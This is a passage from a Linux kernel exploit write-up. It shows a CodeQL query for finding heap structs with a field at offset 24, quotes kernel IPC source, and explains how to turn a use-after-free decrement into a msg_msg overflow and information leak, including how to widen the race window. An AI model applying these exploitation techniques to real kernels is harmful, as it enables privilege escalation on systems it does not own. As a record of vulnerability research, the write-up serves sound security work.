<p>Since the same class can be bound to different <code class="language-plaintext highlighter-rouge">res</code> multiple times at the last moment, it is possible to unbind and decrement multiple times after reclaim, modifying key fields in the object, such as the Reference counter and Pointer in a struct considered in <a href="https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html#exploitation">CVE-2021-22555</a>. However, the <a href="https://bsauce.github.io/2021/09/26/kernel-exploit-%E6%9C%89%E7%94%A8%E7%9A%84%E7%BB%93%E6%9E%84%E4%BD%93/">commonly used struct</a> that fits kmalloc-128, subprocessinfo, is <a href="https://www.willsroot.io/2021/10/pbctf-2021-nightclub-writeup-more-fun.html">no longer available</a>, requiring consideration of other <a href="https://zplin.me/papers/ELOISE.pdf">flexible structs</a>. Alternatively, modifying fields like size to negative values may lead to information leak. Here we use CodeQL, borrowing the writing ideas from <a href="https://veritas501.github.io/2022_08_11_%E5%9F%BA%E4%BA%8EUSMA%E7%9A%84%E5%86%85%E6%A0%B8%E9%80%9A%E7%94%A8EXP%E7%BC%96%E5%86%99%E6%80%9D%E8%B7%AF%E5%9C%A8%20CVE-2022-34918%20%E4%B8%8A%E7%9A%84%E5%AE%9E%E8%B7%B5/">@veritas501</a> and <a href="https://research.nccgroup.com/2023/05/23/offensivecon-2023-exploit-engineering-attacking-the-linux-kernel/">@nccgroup</a>, to examine useful fields and structs at offset 24.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/**
* This is an automatically generated file
* @name Hello world
* @kind problem
* @problem.severity warning
* @id cpp/example/hello-world
*/
import cpp
from FunctionCall fc, Function f, Type typ, Field field
where
f = fc.getTarget() and
f.getName().regexpMatch("k[a-z]*alloc") and
typ = fc.getActualType().(PointerType).getBaseType() and
field.getDeclaringType() = typ and
field.getByteOffset() = 24 and
not fc.getEnclosingFunction().getFile().getRelativePath().regexpMatch("arch.*") and
not fc.getEnclosingFunction().getFile().getRelativePath().regexpMatch("drivers.*")
select fc, "In $@, $@ called once $@ with struct $@ filed $@ at offset 24",
fc,fc.getEnclosingFunction().getFile().getRelativePath(), fc.getEnclosingFunction(),
fc.getEnclosingFunction().getName().toString(), fc, f.getName(), typ,
typ.getName(), field, field.getName()
</code></pre></div></div>
<p>We can identify the commonly used <a href="https://www.starlabs.sg/blog/2022/06-io_uring-new-code-new-bugs-and-a-new-exploit-technique/#searching-for-kernel-structs">simple_xattr</a> and <a href="https://syst3mfailure.io/wall-of-perdition/">msg_msg</a> in our exploitation process:</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx4.sinaimg.cn/large/ee2fecafly1hme18sa148j219o0aktdl.jpg" alt="" /></p>
<p><img src="https://image.baidu.com/search/down?url=https://wx1.sinaimg.cn/large/ee2fecafly1hme18w73exj219708zgpj.jpg" alt="" /></p>
<h2>msg_msg overflow</h2>
<p>Following the thought process of exploiting information leak by modifying the size field, if it’s for simple_xattr, the original size would be compared with the destination buffer size before memcpy. If it is reduced to a negative number, it will definitely return an error directly. Additionally, the getxattr system call also has a <a href="https://elixir.bootlin.com/linux/v6.1.72/source/fs/xattr.c#L693">XATTR_SIZE_MAX</a> limit for the size of the buffer:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
* xattr GET operation for in-memory/pseudo filesystems
*/</span>
<span class="kt">int</span> <span class="nf">simple_xattr_get</span><span class="p">(</span><span class="k">struct</span> <span class="n">simple_xattrs</span> <span class="o">*</span><span class="n">xattrs</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">buffer</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">simple_xattr</span> <span class="o">*</span><span class="n">xattr</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="n">ENODATA</span><span class="p">;</span>
<span class="n">spin_lock</span><span class="p">(</span><span class="o">&</span><span class="n">xattrs</span><span class="o">-></span><span class="n">lock</span><span class="p">);</span>
<span class="n">list_for_each_entry</span><span class="p">(</span><span class="n">xattr</span><span class="p">,</span> <span class="o">&</span><span class="n">xattrs</span><span class="o">-></span><span class="n">head</span><span class="p">,</span> <span class="n">list</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">xattr</span><span class="o">-></span><span class="n">name</span><span class="p">))</span>
<span class="k">continue</span><span class="p">;</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">xattr</span><span class="o">-></span><span class="n">size</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o"><</span> <span class="n">xattr</span><span class="o">-></span><span class="n">size</span><span class="p">)</span>
<span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="n">ERANGE</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">xattr</span><span class="o">-></span><span class="n">value</span><span class="p">,</span> <span class="n">xattr</span><span class="o">-></span><span class="n">size</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">spin_unlock</span><span class="p">(</span><span class="o">&</span><span class="n">xattrs</span><span class="o">-></span><span class="n">lock</span><span class="p">);</span>
<span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>For the familiar msg_msg, the same checking logic also exists, after all, it’s to prevent any possible overflow:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="nf">copy_msg</span><span class="p">(</span><span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="n">src</span><span class="p">,</span> <span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="n">dst</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">msg_msgseg</span> <span class="o">*</span><span class="n">dst_pseg</span><span class="p">,</span> <span class="o">*</span><span class="n">src_pseg</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="n">src</span><span class="o">-></span><span class="n">m_ts</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">alen</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">src</span><span class="o">-></span><span class="n">m_ts</span> <span class="o">></span> <span class="n">dst</span><span class="o">-></span><span class="n">m_ts</span><span class="p">)</span>
<span class="k">return</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EINVAL</span><span class="p">);</span>
<span class="n">alen</span> <span class="o">=</span> <span class="n">min</span><span class="p">(</span><span class="n">len</span><span class="p">,</span> <span class="n">DATALEN_MSG</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">dst</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">src</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">alen</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="n">dst_pseg</span> <span class="o">=</span> <span class="n">dst</span><span class="o">-></span><span class="n">next</span><span class="p">,</span> <span class="n">src_pseg</span> <span class="o">=</span> <span class="n">src</span><span class="o">-></span><span class="n">next</span><span class="p">;</span>
<span class="n">src_pseg</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">dst_pseg</span> <span class="o">=</span> <span class="n">dst_pseg</span><span class="o">-></span><span class="n">next</span><span class="p">,</span> <span class="n">src_pseg</span> <span class="o">=</span> <span class="n">src_pseg</span><span class="o">-></span><span class="n">next</span><span class="p">)</span> <span class="p">{</span>
<span class="n">len</span> <span class="o">-=</span> <span class="n">alen</span><span class="p">;</span>
<span class="n">alen</span> <span class="o">=</span> <span class="n">min</span><span class="p">(</span><span class="n">len</span><span class="p">,</span> <span class="n">DATALEN_SEG</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">dst_pseg</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">src_pseg</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">alen</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">dst</span><span class="o">-></span><span class="n">m_type</span> <span class="o">=</span> <span class="n">src</span><span class="o">-></span><span class="n">m_type</span><span class="p">;</span>
<span class="n">dst</span><span class="o">-></span><span class="n">m_ts</span> <span class="o">=</span> <span class="n">src</span><span class="o">-></span><span class="n">m_ts</span><span class="p">;</span>
<span class="k">return</span> <span class="n">dst</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Assuming you are not following the <code class="language-plaintext highlighter-rouge">MSG_COPY</code> path, with the <code class="language-plaintext highlighter-rouge">MSG_NOERROR</code> flag attached, you would eventually enter the store_msg function. The <a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msgutil.c#L156">copy_to_user</a> with overlong <a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msg.c#L1034">msgsz</a> would fail due to <a href="https://duasynt.com/blog/linux-kernel-heap-feng-shui-2022">CONFIG_HARDENED_USERCOPY</a>. Back to the code snippet of <a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msgutil.c#L124">copy_msg</a>, although the check for <code class="language-plaintext highlighter-rouge">src->m_ts</code> has a hint of TOCTOU, the time window in between is too short to exploit.</p>
<p>So, how can you pass the check <code class="language-plaintext highlighter-rouge">if (src->m_ts > dst->m_ts)</code>? After taking a shower, I figured it out XD. We can modify to decrement <code class="language-plaintext highlighter-rouge">dst->m_ts</code> to a negative number. If originally <code class="language-plaintext highlighter-rouge">src->m_ts</code> is greater than <code class="language-plaintext highlighter-rouge">dst->m_ts</code>, then after passing the check and <a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msgutil.c#L128">memcpy</a>, the larger src msg_msg content is copied to the smaller dst msg_msg content, which can overflow to the object behind dst msg_msg! If this object is still a msg_msg, then overflow modifies its m_ts field, which can smoothly achieve our need to <a href="https://syst3mfailure.io/wall-of-perdition/">leak</a> according to size.</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx3.sinaimg.cn/large/ee2fecafly1hme18zhgf0j20g10c1myb.jpg" alt="" /></p>
<p>Don’t celebrate too soon, where does this dst msg_msg come from? Let’s focus on the <a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msg.c#L1098">do_msgrcv</a> function, which first calls the prepare_copy function to generate a new msg_msg based on MSG_COPY. Note that it will immediately set <code class="language-plaintext highlighter-rouge">copy->m_ts</code> to the appropriate received bufsz after load_msg is successful:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
* This function creates new kernel message structure, large enough to store
* bufsz message bytes.
*/</span>
<span class="k">static</span> <span class="kr">inline</span> <span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="nf">prepare_copy</span><span class="p">(</span><span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">bufsz</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="n">copy</span><span class="p">;</span>
<span class="cm">/*
* Create dummy message to copy real message to.
*/</span>
<span class="n">copy</span> <span class="o">=</span> <span class="n">load_msg</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">bufsz</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ERR</span><span class="p">(</span><span class="n">copy</span><span class="p">))</span>
<span class="n">copy</span><span class="o">-></span><span class="n">m_ts</span> <span class="o">=</span> <span class="n">bufsz</span><span class="p">;</span>
<span class="k">return</span> <span class="n">copy</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Then, after finding the msg_msg to be rcv with find_msg, the copy_msg function is immediately called, with src being the found msg_msg, and dst being the newly generated msg_msg. Since the <code class="language-plaintext highlighter-rouge">tcf_unbind_filter</code> operation needs to decrement <code class="language-plaintext highlighter-rouge">dst->m_ts</code>, there is still a time window from setting m_ts in prepare_copy to judging in copy_msg:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">long</span> <span class="nf">do_msgrcv</span><span class="p">(</span><span class="kt">int</span> <span class="n">msqid</span><span class="p">,</span> <span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">bufsz</span><span class="p">,</span> <span class="kt">long</span> <span class="n">msgtyp</span><span class="p">,</span> <span class="kt">int</span> <span class="n">msgflg</span><span class="p">,</span>
<span class="kt">long</span> <span class="p">(</span><span class="o">*</span><span class="n">msg_handler</span><span class="p">)(</span><span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="p">,</span> <span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="p">,</span> <span class="kt">size_t</span><span class="p">))</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">mode</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">msg_queue</span> <span class="o">*</span><span class="n">msq</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">ipc_namespace</span> <span class="o">*</span><span class="n">ns</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="o">*</span><span class="n">copy</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">DEFINE_WAKE_Q</span><span class="p">(</span><span class="n">wake_q</span><span class="p">);</span>
<span class="n">ns</span> <span class="o">=</span> <span class="n">current</span><span class="o">-></span><span class="n">nsproxy</span><span class="o">-></span><span class="n">ipc_ns</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msqid</span> <span class="o"><</span> <span class="mi">0</span> <span class="o">||</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span> <span class="n">bufsz</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">MSG_COPY</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">MSG_EXCEPT</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">IPC_NOWAIT</span><span class="p">))</span> <span class="c1">// [3]</span>
<span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
<span class="n">copy</span> <span class="o">=</span> <span class="n">prepare_copy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">min_t</span><span class="p">(</span><span class="kt">size_t</span><span class="p">,</span> <span class="n">bufsz</span><span class="p">,</span> <span class="n">ns</span><span class="o">-></span><span class="n">msg_ctlmax</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="n">IS_ERR</span><span class="p">(</span><span class="n">copy</span><span class="p">))</span>
<span class="k">return</span> <span class="n">PTR_ERR</span><span class="p">(</span><span class="n">copy</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">mode</span> <span class="o">=</span> <span class="n">convert_mode</span><span class="p">(</span><span class="o">&</span><span class="n">msgtyp</span><span class="p">,</span> <span class="n">msgflg</span><span class="p">);</span>
<span class="n">rcu_read_lock</span><span class="p">();</span>
<span class="n">msq</span> <span class="o">=</span> <span class="n">msq_obtain_object_check</span><span class="p">(</span><span class="n">ns</span><span class="p">,</span> <span class="n">msqid</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">IS_ERR</span><span class="p">(</span><span class="n">msq</span><span class="p">))</span> <span class="p">{</span>
<span class="n">rcu_read_unlock</span><span class="p">();</span>
<span class="n">free_copy</span><span class="p">(</span><span class="n">copy</span><span class="p">);</span>
<span class="k">return</span> <span class="n">PTR_ERR</span><span class="p">(</span><span class="n">msq</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(;;)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">msg_receiver</span> <span class="n">msr_d</span><span class="p">;</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EACCES</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ipcperms</span><span class="p">(</span><span class="n">ns</span><span class="p">,</span> <span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">,</span> <span class="n">S_IRUGO</span><span class="p">))</span>
<span class="k">goto</span> <span class="n">out_unlock1</span><span class="p">;</span>
<span class="n">ipc_lock_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">);</span> <span class="c1">// [4]</span>
<span class="cm">/* raced with RMID? */</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ipc_valid_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">))</span> <span class="p">{</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EIDRM</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">find_msg</span><span class="p">(</span><span class="n">msq</span><span class="p">,</span> <span class="o">&</span><span class="n">msgtyp</span><span class="p">,</span> <span class="n">mode</span><span class="p">);</span> <span class="c1">// [5]</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">IS_ERR</span><span class="p">(</span><span class="n">msg</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/*
* Found a suitable message.
* Unlink it from the queue.
*/</span>
<span class="k">if</span> <span class="p">((</span><span class="n">bufsz</span> <span class="o"><</span> <span class="n">msg</span><span class="o">-></span><span class="n">m_ts</span><span class="p">)</span> <span class="o">&&</span> <span class="o">!</span><span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">MSG_NOERROR</span><span class="p">))</span> <span class="p">{</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">E2BIG</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">MSG_COPY</span><span class="p">)</span> <span class="p">{</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">copy_msg</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">copy</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">list_del</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="o">-></span><span class="n">m_list</span><span class="p">);</span>
<span class="n">msq</span><span class="o">-></span><span class="n">q_qnum</span><span class="o">--</span><span class="p">;</span>
<span class="n">msq</span><span class="o">-></span><span class="n">q_rtime</span> <span class="o">=</span> <span class="n">ktime_get_real_seconds</span><span class="p">();</span>
<span class="n">ipc_update_pid</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_lrpid</span><span class="p">,</span> <span class="n">task_tgid</span><span class="p">(</span><span class="n">current</span><span class="p">));</span>
<span class="n">msq</span><span class="o">-></span><span class="n">q_cbytes</span> <span class="o">-=</span> <span class="n">msg</span><span class="o">-></span><span class="n">m_ts</span><span class="p">;</span>
<span class="n">percpu_counter_sub_local</span><span class="p">(</span><span class="o">&</span><span class="n">ns</span><span class="o">-></span><span class="n">percpu_msg_bytes</span><span class="p">,</span> <span class="n">msg</span><span class="o">-></span><span class="n">m_ts</span><span class="p">);</span>
<span class="n">percpu_counter_sub_local</span><span class="p">(</span><span class="o">&</span><span class="n">ns</span><span class="o">-></span><span class="n">percpu_msg_hdrs</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">ss_wakeup</span><span class="p">(</span><span class="n">msq</span><span class="p">,</span> <span class="o">&</span><span class="n">wake_q</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* No message waiting. Wait for a message */</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">IPC_NOWAIT</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [1]</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">ENOMSG</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">list_add_tail</span><span class="p">(</span><span class="o">&</span><span class="n">msr_d</span><span class="p">.</span><span class="n">r_list</span><span class="p">,</span> <span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_receivers</span><span class="p">);</span>
<span class="n">msr_d</span><span class="p">.</span><span class="n">r_tsk</span> <span class="o">=</span> <span class="n">current</span><span class="p">;</span>
<span class="n">msr_d</span><span class="p">.</span><span class="n">r_msgtype</span> <span class="o">=</span> <span class="n">msgtyp</span><span class="p">;</span>
<span class="n">msr_d</span><span class="p">.</span><span class="n">r_mode</span> <span class="o">=</span> <span class="n">mode</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msgflg</span> <span class="o">&</span> <span class="n">MSG_NOERROR</span><span class="p">)</span>
<span class="n">msr_d</span><span class="p">.</span><span class="n">r_maxsize</span> <span class="o">=</span> <span class="n">INT_MAX</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">msr_d</span><span class="p">.</span><span class="n">r_maxsize</span> <span class="o">=</span> <span class="n">bufsz</span><span class="p">;</span>
<span class="cm">/* memory barrier not require due to ipc_lock_object() */</span>
<span class="n">WRITE_ONCE</span><span class="p">(</span><span class="n">msr_d</span><span class="p">.</span><span class="n">r_msg</span><span class="p">,</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EAGAIN</span><span class="p">));</span>
<span class="cm">/* memory barrier not required, we own ipc_lock_object() */</span>
<span class="n">__set_current_state</span><span class="p">(</span><span class="n">TASK_INTERRUPTIBLE</span><span class="p">);</span>
<span class="n">ipc_unlock_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">);</span>
<span class="n">rcu_read_unlock</span><span class="p">();</span>
<span class="n">schedule</span><span class="p">();</span> <span class="c1">// [2]</span>
<span class="cm">/*
* Lockless receive, part 1:
* We don't hold a reference to the queue and getting a
* reference would defeat the idea of a lockless operation,
* thus the code relies on rcu to guarantee the existence of
* msq:
* Prior to destruction, expunge_all(-EIRDM) changes r_msg.
* Thus if r_msg is -EAGAIN, then the queue not yet destroyed.
*/</span>
<span class="n">rcu_read_lock</span><span class="p">();</span>
<span class="cm">/*
* Lockless receive, part 2:
* The work in pipelined_send() and expunge_all():
* - Set pointer to message
* - Queue the receiver task for later wakeup
* - Wake up the process after the lock is dropped.
*
* Should the process wake up before this wakeup (due to a
* signal) it will either see the message and continue ...
*/</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">READ_ONCE</span><span class="p">(</span><span class="n">msr_d</span><span class="p">.</span><span class="n">r_msg</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msg</span> <span class="o">!=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EAGAIN</span><span class="p">))</span> <span class="p">{</span>
<span class="cm">/* see MSG_BARRIER for purpose/pairing */</span>
<span class="n">smp_acquire__after_ctrl_dep</span><span class="p">();</span>
<span class="k">goto</span> <span class="n">out_unlock1</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/*
* ... or see -EAGAIN, acquire the lock to check the message
* again.
*/</span>
<span class="n">ipc_lock_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">);</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">READ_ONCE</span><span class="p">(</span><span class="n">msr_d</span><span class="p">.</span><span class="n">r_msg</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">msg</span> <span class="o">!=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EAGAIN</span><span class="p">))</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="n">list_del</span><span class="p">(</span><span class="o">&</span><span class="n">msr_d</span><span class="p">.</span><span class="n">r_list</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">signal_pending</span><span class="p">(</span><span class="n">current</span><span class="p">))</span> <span class="p">{</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">ERESTARTNOHAND</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out_unlock0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">ipc_unlock_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">);</span>
<span class="p">}</span>
<span class="nl">out_unlock0:</span>
<span class="n">ipc_unlock_object</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">);</span>
<span class="n">wake_up_q</span><span class="p">(</span><span class="o">&</span><span class="n">wake_q</span><span class="p">);</span>
<span class="nl">out_unlock1:</span>
<span class="n">rcu_read_unlock</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">IS_ERR</span><span class="p">(</span><span class="n">msg</span><span class="p">))</span> <span class="p">{</span>
<span class="n">free_copy</span><span class="p">(</span><span class="n">copy</span><span class="p">);</span>
<span class="k">return</span> <span class="n">PTR_ERR</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">bufsz</span> <span class="o">=</span> <span class="n">msg_handler</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">bufsz</span><span class="p">);</span>
<span class="n">free_msg</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span>
<span class="k">return</span> <span class="n">bufsz</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Looking at the code of do_msgrcv, to expand this time window:</p>
<ol>
<li>First, you can set the IPC_NOWAIT flag [1]. If there is no corresponding msg_msg in the msg queue, it will enter the schedule [2]. However, IPC_NOWAIT cannot be set at the same time as MSG_COPY [3], so this road is blocked.</li>
<li>Taking a cue from <a href="https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf">@Jann Horn</a>’s race condition idea, at the ipc_lock_object [4] point, use <a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msg.c#L554">msgctl_stat</a> to compete for the spinlock. However, the related system calls all have time consumption when entering the system call and copy_to_user, and the overall effect is not good.</li>
<li>By auditing the code line by line, I found that find_msg [5] has an interesting loop. If MSG_COPY is set, the <a href="https://elixir.bootlin.com/linux/v6.1.72/source/ipc/msg.c#L1004">search mode</a> is set to SEARCH_NUMBER, that is, the more msg_msg in our msg_queue, the more times we can loop for search.</li>
</ol>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="nf">find_msg</span><span class="p">(</span><span class="k">struct</span> <span class="n">msg_queue</span> <span class="o">*</span><span class="n">msq</span><span class="p">,</span> <span class="kt">long</span> <span class="o">*</span><span class="n">msgtyp</span><span class="p">,</span> <span class="kt">int</span> <span class="n">mode</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">msg_msg</span> <span class="o">*</span><span class="n">msg</span><span class="p">,</span> <span class="o">*</span><span class="n">found</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="kt">long</span> <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">list_for_each_entry</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_messages</span><span class="p">,</span> <span class="n">m_list</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">testmsg</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="o">*</span><span class="n">msgtyp</span><span class="p">,</span> <span class="n">mode</span><span class="p">)</span> <span class="o">&&</span>
<span class="o">!</span><span class="n">security_msg_queue_msgrcv</span><span class="p">(</span><span class="o">&</span><span class="n">msq</span><span class="o">-></span><span class="n">q_perm</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="n">current</span><span class="p">,</span>
